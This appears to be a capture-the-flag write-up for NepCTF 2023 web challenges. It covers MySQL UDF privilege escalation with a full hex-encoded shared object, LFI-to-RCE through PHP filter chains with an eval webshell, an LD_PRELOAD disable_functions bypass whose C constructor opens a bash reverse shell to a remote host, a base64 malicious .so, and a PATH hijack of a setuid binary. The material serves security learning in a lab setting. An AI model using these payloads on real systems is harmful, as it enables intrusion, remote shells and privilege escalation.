00000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"

/tmpCreate one in the directory poc.sh, then modify the permissions to execute it, then udf.sothe file will be written to /usr/lib/mysql/plugin/the directory (originally without permission)

After successful writing, the udf privilege is raised:

mysql -uroot -p456456zxc+123666 -e 'create function sys_eval returns string soname "udf.so";'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("chmod 777 /flag");'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("cat /flag");'

md is useless locally

knowledge points

To learn the knowledge of udf rights escalation

not_include

hint: You can refer to https://tttang.com/archive/1395/

Looking at the question, it seems to be a file containing

image-20230816124204609

But we can't use others, we delete the following parameters:

image-20230816124304490

You can get the source code, and one will be spliced ​​after the link parameter .txt, so ordinary things can’t be used

LFI2RCEThen there will be a knowledge point in it , which can be included in the file to RCE : https://tttang.com/archive/1395/

The exploit script can be found on github: https://github.com/synacktiv/php_filter_chain_generator

python3 php_filter_chain_generator.py --chain "<?php eval($_POST[1]);?>"

image-20230816124728589

This does the trick:

image-20230816124710754

But take a look. disable_functions、disable_classesMany functions and classes are disabled and restrictedopen_basedir=/var/www/html:/tmp

so we need to find a wayphp disable_function bypass

Here are the articles:

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#imagemagick-%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87

https://xz.aliyun.com/t/4623#toc-6

Method 1: Hijack LD_PRELOAD to bypass disable_functions

The dynamic link library file specified by LD_PRELOAD will be called before other files are called

Hijacking steps:

  1. Generate a file of our malicious dynamic link library
  2. Use putenv to set LD_PRELOAD to the path of our malicious dynamic link library file
  3. Cooperate with a function of php to trigger our malicious dynamic link library file
  4. Getshell

This php function is critical. etc. can be used mail、error_log, but disabled here

We can also usemb_send_mail()

image-20230816125548796

It's mail()a wrapper function for , so hijacking is also possible

We need to write a malicious poc.c file first: (used to reverse the shell)

__attribute__The syntax format is: __attribute__ ( ( attribute-list ) )
If the function is set as the constructor attribute, the function will be automatically executed before the main() function is executed . Similarly, if a function is set as a destructor attribute,
the function will be executed automatically after the main() function is executed or after exit() is called. For example the following program:

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
    
    
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/vps/7788 0>&1'");
}

Then compile it to generate the malicious dynamic link program poc.so:

gcc -c -fPIC poc.c -o poc
gcc --share poc -o poc.so

Then we need to upload this file to the server, and use putenv()the function to reset LD_PRELOADthe environment variable, and finally use mb_send_mail()the malicious function to reverse the shell

But there is a problem here, we do not have permission to upload files, and write files, related functions are disabled.

One way here is to upload a temporary file /tmp/phpxxxand then use scandir("glob:///tmp/php*")the defuzzy matching

image-20230816130854508

There is another way to DOMDocumentwrite files using php native classes:

You can refer to: https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/% E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5% 8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#domdocument

1=$f="/tmp/poc.so";
$d=new DOMDocument();
$d->loadHTML("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAEA1AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AQAAAAAAADwBAAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAABRAQAAAAAAAFEBAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAOwAAAAAAAAA7AAAAAAAAAA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IAAAAAAAAAN0AAAABAAAAAwAAAAAAAAAQQAAAAAAAABAwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADjAAAACAAAAAMAAAAAAAAAGEAAAAAAAAAYMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6AAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAGDAAAAAAAAAeAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAADgwAAAAAAAAiAIAAAAAAAAaAAAAFAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAADAMgAAAAAAAI4BAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAATjQAAAAAAADxAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");

image-20230816131432064

successfully written in

The next step is to hijack the environment variable, and then execute the function in this malicious so file:

post:

1=var_dump(scandir("/tmp/"));
putenv("LD_PRELOAD=/tmp/poc.so");
mb_send_mail("","","");

After rebounding to the shell, the next step is to escalate the rights

There is a file in the root directory showmsgwith the s permission bit

image-20230816135505258

His source code is src.c:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp) {
    
    
        gid_t gid;
        uid_t uid;
        gid = getegid();
        uid = geteuid();

        setresgid(gid, gid, gid);
        setresuid(uid, uid, uid);

        printf("Thank you! This is the final step.   --From lx56\n");
        return system("cat /tmp/resources/4.txt");
}

It will call cat, and it is obvious that you can use environment variables to escalate privileges :

cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd /
./showmsg
tac flag

(cat is tainted, so can't use cat)

image-20230816140042520

knowledge points

learned LFI2RCE, LD_PRELOADbypassdisable_functions

https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp

https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Ez-include

https://xz.aliyun.com/t/4623#toc-7

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#error_log

Method 2: GCONV bypasses disable_functions

Principle: https://www.wangan.com/p/7fy7fg4103b2ee22#%E5%88%A9%E7%94%A8GCONV_PATH%E4%B8%8Eiconv

Principle introduction:

When php executes the iconv function, it actually calls the iconv related functions in glibc, and one of the very important functions is called iconv_open().

The linux system provides an environment variable: GCONV_PATH, which enables glibc to use the user-defined gconv-modules file. Therefore, if the value of GCONV_PATH is specified, the execution process of the iconv_open function will be as follows:

1. The iconv_open function finds the gconv-modules file according to GCONV_PATH. This file contains the storage path of the relevant information of each character set. The relevant information of each character set is stored in a .so file, that is, the gconv-modules file provides each The location of the .so file for the character set.

  1. Find the .so file corresponding to the parameter according to the instructions of the gconv-modules file.

  2. Call the gconv() and gonv_init() functions in the .so file.

  3. some other steps.

The way we use it is to first upload the gconv-modules file in a certain folder (usually /tmp), specify the .so of our custom character set file in the file, and then we gonv_init() in the .so file Write the command execution function in the function, and then upload the php shell. The content is to use php to set GCONV_PATH to point to our gconv-modules file, and then use the iconv function to execute our malicious code.

https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80

web reference:

https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Hive-it

https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132318828